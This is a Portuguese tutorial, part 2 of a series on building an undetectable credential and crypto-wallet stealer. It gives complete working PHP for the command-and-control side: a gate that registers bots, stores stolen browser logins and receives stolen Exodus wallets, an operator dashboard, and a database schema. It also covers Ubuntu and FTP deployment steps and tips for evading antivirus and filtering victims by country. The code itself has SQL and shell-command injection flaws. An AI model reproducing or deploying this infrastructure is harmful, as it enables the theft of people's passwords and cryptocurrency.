Este é o Tutorial da PARTE 2 intitulado OF Parte 1: Crie seu próprio ladrão avançado FUD PARTE 2.
Você pode encontrar a parte 1 aqui :
Este é o lado do servidor
Esta série cobre a codificação do SERVIDOR e do CLIENTE e cobrirá as técnicas mais usadas e os futuros mais famosos e serão os futuros acima.
FUTUROS :
- Ladrão de carteira criptográfica
- Ladrão de logins de navegadores
- Notificador de Telegrama
Esses futuros são os mais famosos e a maioria das pessoas aluga ou compra um ladrão para usar essas funções.
A)- Ladrão de carteira criptográfica
Para o ladrão de criptomoedas, daremos um exemplo na carteira EXODUS, a carteira criptográfica mais pública para Windows Desktop (PC), mas você pode usar a mesma técnica em qualquer outra carteira criptográfica com poucas alterações que você precisa fazer, mas este tutorial lhe dará a ideia e a codificação e o colocará no caminho certo para começar.
B)- Ladrão de logins de navegadores
Para o navegador, também daremos um exemplo no navegador mais usado (chrome), mas não se preocupe, este método funciona para todos os navegadores baseados em Chromium, para que você possa cobrir 90% dos navegadores, e cerca de firefox levará sobre isso na PARTE 2.
C)-Telegram Notifier
O notificador do Telegram é muito fácil apenas quando um novo bot é registrado no banco de dados, envie uma solicitação HTTP para a API do telegram com detalhes do bot para informar ao proprietário do painel do bot que há um novo bot.
Antes de começarmos a codificar, você deve saber algumas coisas.
Agora este é o lado do servidor como você já conhece, então aqui vou te contar alguns truques!
Você talvez diga por que obter o endereço IP e o país do lado do servidor, já que a maioria dos malwares como RAMCOS está usando o geo ip do lado do cliente, por um motivo! porque a maioria dos AV/EDR irá detectar esta conexão como uma conexão maliciosa e Confie em mim, esta técnica é muito ANTIGO,
Então, para substituir isso, usará nosso servidor para obter localização geográfica Você também pode usar ip2location-lite-db para obter as informações geográficas do cliente, mas hoje neste tutorial usarei API
Então agora vamos começar a nos aprofundar e começar a codificar a seção do servidor.
Crie um diretório inicial para nossos arquivos php. Vou criar um e nomeá-lo xssStealer como na imagem abaixo.
Agora dentro da pasta xssstealer crie 2 pastas nomeie a primeira (Panel) e a segunda (Uploads). e 1 arquivo php namegate.php e 1 arquivo html nomeie index.html para não ser vulnerável a (Listagem de diretório).
A pasta de uploads estará vazia apenas para carteiras criptográficas roubadas carregadas como Exodus.
Agora abra a pasta Panel e crie 5 arquivos php e 2 pastas com o nome assim.
1 - index.php
2 - login.php
3 - logout.php
4 - logs.php
5 - settings.php
A - inc
B - estilo
Dentro da pasta inc, crie 2 pastas com o nome de Core e Template.
Dentro da pasta Core, crie 2 arquivos, nomeie-os como db.php e secure.php
Dentro da pasta Template crie 2 arquivos com o nome header.tmp e menu.tmp
Dentro da pasta style crie 1 arquivo CSS nomeie-o main.css
O arquivo gate.php é para aceitar solicitações de nosso ladrão, portanto, quando precisarmos registrar o bot e fazer upload de logins e criptografia do navegador roubado, usaremos gate.php para receber nossos comandos e resposta Agora vamos criar o banco de dados e as tabelas
.
Abra seu navegador e navegue até o caminho phpmyadmin deve ser seudominio.com/phpmyadmin
Em seguida, Novo, digite o nome do seu banco de dados, vou nomeá-lo xssstealer e pressione o botão Criar
Agora clique no nome do banco de dados e depois em SQL e adicione o código sql da tabela abaixo
Em seguida, clique no botão Ir
Como visto na figura acima da tabela criada, repita estes passos ou apenas copie o código sql COMPLETO abaixo
[SQL][/SQL]
Por fim, após criar o BD E a tabela, linhas e colunas
Agora precisamos definir o usuário/senha para login no painel, então primeiro precisamos fazer o hash da passagem (MD5) Atenção MD5 é fraco Então você pode usar outro algoritmo de hash como o bcrypt, mas hoje usará o MD5 para fazer o hash da senha que existem toneladas de sites que oferecem este futuro online e de graça um deles é este site: https://www.md5hashgenerator.com/ Fiz hash da senha e fiz XSS e o resultado =2c71e977eccffb1cfb7c6cc22e0e7595, depois de terminar de hash a senha agora clique no login e defina a senha e o nome de usuário Não se preocupe a sessão será atualizada automaticamente no login, então não defina
O banco de dados está pronto.
Agora, de volta ao arquivo PHP, abra gate.php e preste atenção, estamos voltando para a seção de codificação, então leia tudo com atenção.
Adicione este código PHP ao seu gate.php e leia a explicação.
<?php
error_reporting(E_ALL & ~E_NOTICE);
require_once('panel/inc/core/db.php');
if($_SERVER['REQUEST_METHOD'] !== 'POST') die(); // if request not POST die
$data = file_get_contents("php://input"); // read post data
$data = json_decode($data,true);
if(empty($data)) die(); // data is empty some thing wrong
echo "| "; // commend for c++ parser to start parsing the commend
No código abaixo, estamos definindo o nível de relatório 0 significa desabilitado, então usamos o array $_SERVER que contém informações sobre o método de solicitação, o agente do usuário e o caminho do script atual. Aqui neste código, estamos usando o índice REQUEST_METHOD $_SERVER
[ REQUEST_METHOD]; para saber qual método Request é usado para executar nosso código php, por exemplo, um navegador normal enviará uma solicitação GET, mas o cliente enviará uma solicitação POST, então o usamos para determinar se a solicitação de um navegador ou não também para ter certeza requisição não é POST ( DELTE,HEAD,OPTIONS,GET,PUT);
E depois de detectar o método e usar a instrução if para verificar se é POST, caso contrário, usará die (); para finalizar o script (CODE);
Atenção de acordo com o site oficial do php que die() é um equivalente a sair.
E estamos usando.file_get_contents("php://input"); para ler os dados brutos enviados pelo nosso ladrão, este formato para a função irá capturar a solicitação do Cliente
if(empty($data)) die(); serve apenas para verificar se a solicitação de postagem contém um corpo ou está vazia, se estiver vazia, basta encerrar o script.
Aqui está a coisa final e mais importante, mesmo que seja apenas eco ; mas é muito importante
porque estamos usando esse eco | para dividir o cabeçalho/corpo da resposta do servidor quando reproduzido para o nosso ladrão para que possamos ler o texto simples A imagem ficará melhor se você voltar para a parte C++
E reler a função HttpParser
// get bot ip info
function GetBotIpInfo()
{
$client = @$_SERVER['HTTP_CLIENT_IP'];
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
$remote = @$_SERVER['REMOTE_ADDR'];
$result = array('ip'=>'','country'=>'');
if(filter_var($client, FILTER_VALIDATE_IP)){
$ip = $client;
}elseif(filter_var($forward, FILTER_VALIDATE_IP)){
$ip = $forward;
}else{
$ip = $remote;
}
$ip_data = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=".$ip));
if($ip_data && $ip_data->geoplugin_countryName != null){
$result['ip'] = $ip;
$result['country'] = $ip_data->geoplugin_countryCode;
}
return $result;
}
function seedBotId() // generate bot id for new connected bots first run
{
global $conn;
while(TRUE)
{
$randomSeed = rand();
$checkBotsId = "SELECT * FROM `bots` WHERE `botid`='$randomSeed'";
$Query = mysqli_query($conn,$checkBotsId) or die("mysqli_error");
if(mysqli_num_rows($Query) >= 1)
{
continue;
}
else
{
return $randomSeed;
}
}
}
A primeira função no código abaixo é GetBotIpInfo() usamos para obter o endereço IP para bots e então usamos geoplugin.net para obter o país do endereço IP também podemos obter a cidade E a segunda função no código é
seedBotId () o que essa função faz? Como você sabe, como estamos lidando com vários bots, precisamos de um ID para saber como e para quem enviamos e recebemos, também armazenamos dados e imprimimos no painel
Portanto, por esse motivo, precisamos gerar um ID exclusivo aleatório para cada novo bot e verifique se o ID não está registrado no banco de dados Acho que você entendeu agora o código é simples e todo desenvolvedor php deve entendê-lo
if($data["action"] == "GenerateBotId")
{
$botid = seedBotId();
echo $botid;
}
else if($data["action"] == "registerbotinfo")
{
//var_dump($data);
$installation_date = date("d/m/20y");
$botid = $data["botid"];
$user = $data["user"];
$winversion = $data["windowsversion"];
$bot_networkinfo = GetBotIpInfo();
$ip = $bot_networkinfo["ip"];
$country = $bot_networkinfo["country"];
$registerbot = "INSERT INTO `bots` (`id`,`botid`,`ip`,`user`,`osversion`,`country`,`installationdate`) VALUES (NULL, '$botid','$ip', '$user', '$winversion', '$country','$installation_date'); ";
$Queryregbot = mysqli_query($conn,$registerbot) or die("mysqli_error");
if (!@mkdir("uploads/".$botid, 0755, true)) {
$error = error_get_last();
echo $error['message'];
}
//, 0755, true);
$dirpath = "uploads/".$botid;
//mkdir("uploads/".$botid);//
system("mkdir $dirpath ");
system("chmod 777 uploads/$botid ");
}
else if($data["action"] == "uploadData")
{
$botid = $data["botid"];
$logs = $data["logs"];
$registerbot = "INSERT INTO `logs` (`id`,`botid`,`logs`) VALUES (NULL, '$botid','$logs'); ";
$Queryregbot = mysqli_query($conn,$registerbot) or die("mysqli_error");
}
else if($data["action"] == "initcryptowallet")
{
$botid = $data["botid"];
// $registerbot = "INSERT INTO `logs` (`id`,`botid`,`logs`) VALUES (NULL, '$botid','$logs'); ";
// $Queryregbot = mysqli_query($conn,$registerbot) or die("mysqli_error");
echo "uploads/".$botid;
}
E nessas instruções if, else if, estamos usando (executando) essas funções.
O primeiro IF (GenerateBotId) Representa a primeira execução do bot quando o bot é executado pela primeira vez ele pede ao servidor para gerar o ID exclusivo aleatório. então echo será usado no cliente como um botid e como um ID exclusivo para conversar com o servidor c2.
Em C++, analisamos o corpo e obtemos o ID do bot, em seguida, obtemos as informações do PC do bot e, em seguida, carregamos no servidor e adicionamos o ID retornado do servidor à solicitação.
O segundo IF (registerbotinfo) vai registrar a última solicitação do cliente que fizemos e são as informações do cliente como BOTID, PC USERNAME, WINVERSION, WINDESKTOP/SERVER e também vai usar a função (GetBotIpInfo) para adicionar o IP/país.
Aqui, você TAMBÉM pode usar esta função para bloquear um país COMO os países da CEI, ou também pode usá-la para bloquear um ASN (número do sistema autônomo), como GOOGLE ASN, etc.
o Carregado Dados roubados do cliente o nome da função do cliente: TransfeerStealedData
Muito simples Apenas usa a consulta MySql para armazenar os dados como Normal.
Se você é novo no PHP, sugiro que aprenda esta incrível linguagem de script.
O quarto IF (initcryptowallet) será usado para inicializar o upload da criptografia em http
Então, ele obterá o BOTID e definirá o diretório para upload e o retornará como echo
Finalmente, a função cpp TransfeerExodusWallet é a função que será usada para recuperar o diretório para upload usando ftp e carregá-los
Você pode encontrar mais detalhes na PARTE 1,
terminamos o gate.php
Agora abra a pasta do painel /inc/core/ então db.php
Então aqui está o arquivo db para conectar ao banco de dados Mysql.
<?php
$host = "localhost";
$dbname = "xssstealer";
$dbusername = "root";
$dbpassword = "";
$conn = mysqli_connect($host,$dbusername,$dbpassword,$dbname);
if (!$conn) {
die("connection faild to Mysql server");
}
?>
Uma conexão mysqli_connect muito simples ao banco de dados
Causa codificação iam no Windows eu instalo xampp a senha padrão está vazia por padrão, mas para Linux altere para a sua
Feche db.php e abra secure.php
<?php
session_start();
require_once('inc/core/db.php');
$session = $_SESSION["session"];
if(!isset($session))
{
header("location: login.php");
}
$cehckSession = "SELECT * FROM `login` WHERE `session`='$session' ";
$QuerySession = mysqli_query($conn,$cehckSession);
if(mysqli_num_rows($QuerySession) <= 0)
{
die();
}
?>
O código acima é muito importante para a segurança do seu painel Como você pode ver depois de verificar a sessão existente, comparamos a sessão com a sessão armazenada na tabela db / login, portanto, se um hacker tentar injetar uma sessão aleatória usando o editor de cookies Se este código não adicionar ele pode hackear seu painel,
por quê? Porque a sessão de verificação está apenas verificando se a sessão existe e se existe, ela redireciona você para Index.php
Então, aqui está como um hacker pode hackear um hacker 🙂
Ok Abra o login.php no painel FOLDER
<?php
session_start();
if(isset($_SESSION["session"]))
{
header("location: index.php");
}
require_once('inc/core/db.php');
?>
<!DOCTYPE HTML>
<html>
<head>
<title>Xss Stealer - Login</title>
<?php
require_once('inc/template/header.tmp');
?>
</head>
<body>
<div id="LoginForm" >
<?php
if(isset($_POST["login"]))
{
$username = strip_tags($_POST["username"]);
$password = md5(strip_tags($_POST["password"]));
$checkUsername = "SELECT `username` FROM `login` WHERE `username`='$username' ";
$result = mysqli_query($conn,$checkUsername);
if(mysqli_num_rows($result) > 0) // usernmae exists
{
$checkPassword = "SELECT `password` FROM `login` WHERE `password`='$password' ";
$result = mysqli_query($conn,$checkPassword);
if(mysqli_num_rows($result) > 0) // check password if correct
{
$session = $_SESSION["session"] = md5(time());
$update = "UPDATE `login` SET `session`= '$session' WHERE `login`.`username`='$username' ";
$Query = mysqli_query($conn,$update);
echo "<script>alert('Logged in succes')</script>";
header("location:index.php");
}
else // password incorrect
{
echo "<script>alert('Username/password incorrect')</script>";
}
}
else // username incorrect
{
echo "<script>alert('Username/password incorrect')</script>";
}
}
?>
<form action="login.php" method="POST">
<div class="imgcontainer">
<h1>xssStealer Dashbaord</h1>
</div>
<div class="container">
<label for="username"><b>Username</b></label>
<input type="text" placeholder="Enter Username" name="username" required>
<label for="password"><b>Password</b></label>
<input type="password" placeholder="Enter Password" name="password" required>
<button type="submit" name="login">Login</button>
</div>
</form>
</div>
</body>
</html>
session_start é usado para iniciar uma nova sessão ou retomar uma já iniciada Você não pode usar uma sessão sem ela,
// if(isset($_POST["login"]))
Verifique se uma solicitação de postagem foi enviada chamada login: E note isso não significa que você tenha que clicar no botão, apenas você também pode enviar uma solicitação de postagem http para fazer login, como por meio da biblioteca de solicitações curl ou python ou traje de arroto. Espero que você me entenda. De qualquer forma, vamos continuar
.
O outro código é o mesmo que o de segurança, mas é um pouco diferente aqui, verificamos se o nome de usuário existe no banco de dados, mas se você se concentrar mais, verá que adicionei a função strip_tags para não obter injeção de SQL em nosso painel, então isso também é uma segurança dica pode fazer sem ele
Ok, agora se o nome de usuário encontrado fará com que outro comando de consulta mysql procure a senha e, se encontrado, atualizará a sessão da tabela Login e adicionará a nova sessão ( Substituir sessão antiga ) E ecoamos um alerta de código javascript Loggin success,
depois definimos a sessão, fazemos um redirecionamento para index.php
Agora abra index.php e header.tmp e poste nos códigos
Header.tmp panel/inc/template/header.tmp
<link rel="stylesheet" href="style/main.css?v=<?php echo md5(time()); ?>" />
menu.tmp panel/inc/template/menu.tmp
<div class="menu">
<h1>Xss stealer</h1>
<a href="index.php">Dashboard</a>
<a href="settings.php">Settings</a>
<a href="logout.php">Logout</a>
</div>
abra o painel Index.php
<?php
require_once('inc/core/secure.php');
?>
<!DOCTYPE HTML>
<html>
<head>
<title>Xss Stealer - Dashboard</title>
<?php
require_once('inc/template/header.tmp');
?>
</head>
<body>
<?php
require_once('inc/template/menu.tmp');
?>
<div id="main">
<div id="bots_table">
<table id="" >
<thead>
<tr>
<th>Bot ID</th>
<th>Ip Address</th>
<th>Username</th>
<th>Windows Version</th>
<th>Country</th>
<th>installation Date</th>
<th style="border-right:0px;">Action</th>
</tr>
</thead>
<tbody>
<?php
$GetBots = "SELECT * FROM bots";
$queryBots = mysqli_query($conn,$GetBots);
if(mysqli_num_rows($queryBots) > 0)
{
while($db = mysqli_fetch_assoc($queryBots))
{
?>
<tr>
<td><?php echo $db["botid"]; ?></td>
<td><?php echo $db["ip"]; ?></td>
<td><?php echo $db["user"]; ?></td>
<td><?php echo $db["osversion"]; ?></td>
<td><?php echo $db["country"]; ?></td>
<td><?php echo $db["installationdate"]; ?></td>
<td style="border-right:0px;"><a href="logs.php?botid=<?php echo $db["botid"]; ?>">get logs</a></td>
</tr>
<?php
}
}
?>
</tbody>
</table>
</div>
</div>
</body>
</html>
Portanto, o arquivo de cabeçalho é apenas um arquivo html para head
E index.php está incluindo o arquivo secure.php do qual falamos acima
E criando uma tabela e consultando dados de dados de bots do banco de dados e exibindo-os também vinculando os logs para consultá-los em diferentes arquivo para mais organização
Então você pode ver logs.php?botid=<?php echo $db["botid"]; ?> será o link para exibição de logs para um BOT específico.
Além disso, adicione o menu.tmp
Então, quando clicar, usará o botid usando o método get $_GET['botid']; e consultar logs por ID
Agora abra logout.php adicione o código abaixo
<?php
require_once('inc/core/secure.php');
?>
?>
<!DOCTYPE HTML>
<html>
<head>
<title>Xss Stealer - Dashboard</title>
<?php
require_once('inc/template/header.tmp');
?>
</head>
<body>
<?php
require_once('inc/template/menu.tmp');
?>
<div id="main">
<div id="logs_table">
<ul>
<h1 style='color:#ecf0f1;margin-left:20%;' >Logs for BotId <?php echo intval($_GET["botid"]) ?></h1>
<?php
$botid = intval($_GET["botid"]);
$GetLogs = "SELECT * FROM logs where `botid`='$botid'";
$queryLogs = mysqli_query($conn,$GetLogs);
if(mysqli_num_rows($queryLogs) > 0)
{
$db = mysqli_fetch_assoc($queryLogs);
?>
<textarea style="margin-left:-10%;width:750px;height:500px;resize:none;" readonly>
<?php
echo base64_decode($db["logs"]);
?>
</textarea>
<?php
}
?>
</div>
</div>
</body>
</html>
Outro código php muito simples começando a retomar a sessão antiga verifique se a sessão existe desmarque a sessão
Ok bom agora vá para settings.php
<?php
require_once('inc/core/secure.php');
?>
<!DOCTYPE HTML>
<html>
<head>
<title>Xss Stealer - Settings</title>
<?php
require_once('inc/template/header.tmp');
?>
</head>
<body>
<?php
require_once('inc/template/menu.tmp');
?>
<div id="LoginForm" >
<?php
if(isset($_POST["update"]))
{
$session = $_SESSION["session"];
$username = $_POST["username"];
$md5pwd = md5($_POST["password"]);
if(empty($_POST["username"]) && empty($_POST["password"]) ) // don't update both input empty
{
echo "<script>alert('Username and Password both Empty')</script>";
}
else if(!empty($_POST["username"]) && !empty($_POST["password"]) ) // update both input
{
$update = "UPDATE `login` SET `username`= '$username' , `password` = '$md5pwd' WHERE `login`.`session`='$session' ";
$Query = mysqli_query($conn,$update);
echo "<script>alert('Username and Password Updated')</script>";
}
else if(!empty($_POST["username"]) && empty($_POST["password"]) ) // update username only because password empty
{
$update = "UPDATE `login` SET `username`= '$username' WHERE `login`.`session`='$session' ";
$Query = mysqli_query($conn,$update);
echo "<script>alert('Username Updated')</script>";
}
else if(empty($_POST["username"]) && !empty($_POST["password"]) ) // update password only because username empty
{
$update = "UPDATE `login` SET `password` = '$md5pwd' WHERE `login`.`session`='$session' ";
$Query = mysqli_query($conn,$update);
echo "<script>alert('Password Updated')</script>";
}
}
?>
<form action="settings.php" method="POST">
<div class="imgcontainer">
<h1>Settings</h1>
</div>
<div class="container">
<label for="username"><b>Username</b></label>
<input type="text" placeholder="Enter Username" name="username" >
<label for="password"><b>Password</b></label>
<input type="password" placeholder="Enter Password" name="password">
<button type="submit" name="update">Update</button>
</div>
</form>
</div>
</body>
</html>
Adicione o código acima,
você pode estar confuso com o que está acontecendo, é apenas uma instrução if para verificar qual entrada está vazia para passá-la e verificar a entrada não vazia para alterá-la Muito simples Sim!
Nós apenas usamos a consulta de atualização
Ok, agora abra
Logs.php
Igual aos outros, mas você talvez tenha notado que estamos usando uma nova função aqui intval : ,
Ok, por quê?
Como estamos usando um número inteiro para consultar o valor do banco de dados, se não filtrarmos a entrada, ele ficará vulnerável à injeção de SQL, portanto, usamos intval para obter apenas números.
$botid = intval($_GET["botid"]);
Depois disso, consultamos todos os logs do banco de dados pelo ID do bot
body
{
background-color:#2C3A47;/* #303952;*/
margin: 0px 0px 0px 0px;
padding: 0px 0px 0px 0px;
font-family: Arial, Helvetica, sans-serif;
}
.menu {
height: 100%;
width: 250px;
position: fixed;
z-index: 1;
top: 0;
left: 0;
background-color: #596275;
overflow-x: hidden;
padding-top: 60px;
}
.menu h1
{
padding: 0px 0px 8px 32px;
margin-top: -10%;
font-size: 2em;
font-weight: bold;
color: #55E6C1;
display: block;
}
.menu a {
text-decoration: none;
font-size: 1.50em;
font-weight: bold;
padding: 8px 8px 8px 32px;
color: #ecf0f1;
display: block;
transition: 0.3s;
}
#main {
transition: margin-left .5s;
padding: 20px;
margin-left: 35%;
margin-top: 10%;
}
#logs_table table thead th
{
border-bottom: 1px solid #596275;
border-right: 1px solid #596275;
padding: 5px;
}
#bots_table table
{
background-color: #ecf0f1;
text-align: center;
border-collapse: collapse;
border-radius: 5px;
}
#bots_table table thead th
{
border-bottom: 1px solid #596275;
border-right: 1px solid #596275;
padding: 5px;
}
#bots_table table tbody td
{
border-right: 1px solid #596275;
border-bottom: 1px solid #596275;
padding: 5px;
}
/****** Login ******/
#LoginForm form { width:50%; margin:auto; margin-top: 10%; border: 1px solid #04AA6D;}
#LoginForm label{color:#04AA6D;}
#LoginForm input[type=text], input[type=password] { width: 100%;padding: 12px 20px; margin: 8px 0;display: inline-block;border: 1px solid #ccc; box-sizing: border-box;}
#LoginForm button {background-color: #04AA6D;color: white;padding: 14px 20px; margin: 8px 0;border: none;cursor: pointer;width: 100%;}
#LoginForm button:hover {opacity: 0.8;}
.imgcontainer { text-align: center; margin: 24px 0 12px 0;font-size: 1em; color:#04AA6D;}
.container {padding: 16px;}
/* Change styles for span and cancel button on extra small screens */
@media screen and (max-width: 300px) {
span.psw {
display: block;
float: none;
}
.cancelbtn {
width: 100%;
}
}
@media screen and (max-height: 450px) {
.sidenav {padding-top: 15px;}
.sidenav a {font-size: 18px;}
}
Este é apenas o código css Sem mágica
Incrível terminamos o código php.
Agora vamos fazer o upload para o nosso servidor Linux e começar a testar o CÓDIGO 🎉
Para fazer este trabalho será necessário wincsp.exe e putty.exe também o cliente FileZilla para testar o FTPServer
Serviços instalados:
1 - Servidor Web ( apache )
2 - Servidor Ftp ( Vsftpd )
3 - o cliente ssh por padrão é instalado para maior segurança, você pode alterar a porta ssh padrão
Então, vamos preparar nosso servidor Ubuntu!
Primeiro comando
Atualizar
apt-get update & apt-get upgrade -y
Ao terminar a atualização
Reinicializar
reboot
Instalar Apache web Server
sudo apt-get install apache2 -y
Instalar servidor MySQL
sudo apt install mysql-server -y
Agora vamos definir a senha do mysql
Certifique-se de alterar 'Sua senha' para sua senha
sudo mysql
ALTER USER 'root'@'localhost' IDENTIFICADO COM mysql_native_password BY 'Sua senha';
Ok, agora vamos proteger nosso servidor mysql
Faça este comando
sudo mysql_secure_installation
Digite a senha do root
Alterar a senha do usuário root Não, você pode alterá-lo se quiser
Remover usuários anônimos? SIM
Quando terminar
Sair
Instalar phpmyadmin, php, php curl e outros
sudo apt install php libapache2-mod-php php-mysql -y
sudo apt install phpmyadmin php-mbstring php-zip php-gd php-json php-curl -y
Agora abra o Wincsp e carregue o arquivo em /var/www/html/
Ok, agora vá para: yourdomain.com/phpmyadmin
E crie um novo banco de dados
Agora volte para seu host local e exporte o banco de dados.
Agora importe o banco de dados para o seu servidor yourdomain.com/phpmyadmin
Tudo bem, agora navegue até yourdomain/panel/index.php
E faça o login com a senha e o nome de usuário que definimos antes
Se você se lembra, eu crio os dois Usuário: xss, Senha: xss
Compile seu projeto e execute-o, conforme mostrado abaixo, recebemos a conexão e também os logs do navegador, mas não posso mostrá-los porque todos são meus dados de login no meu próprio PC
Agora a seção FTP
Instalação Ftp
sudo apt install vsftpd
adduser USER
sudo usermod -d /var/www/html/ FTPUSER
sudo chown admin:admin /var/www/html/
chown -R ftpguest:ftpguest /var/www/html/
Go para: /etc/vsftpd.conf
Adicionar:
write_enable=YES
allow_writeable_chroot=YES
systemctl restart vsftpd
Agora chmod para tornar o arquivo php gate capaz de criar o arquivo para carregar as carteiras criptografadas roubadas
chmod 777 /var/www/html/
chmod 777 /var /www/html/*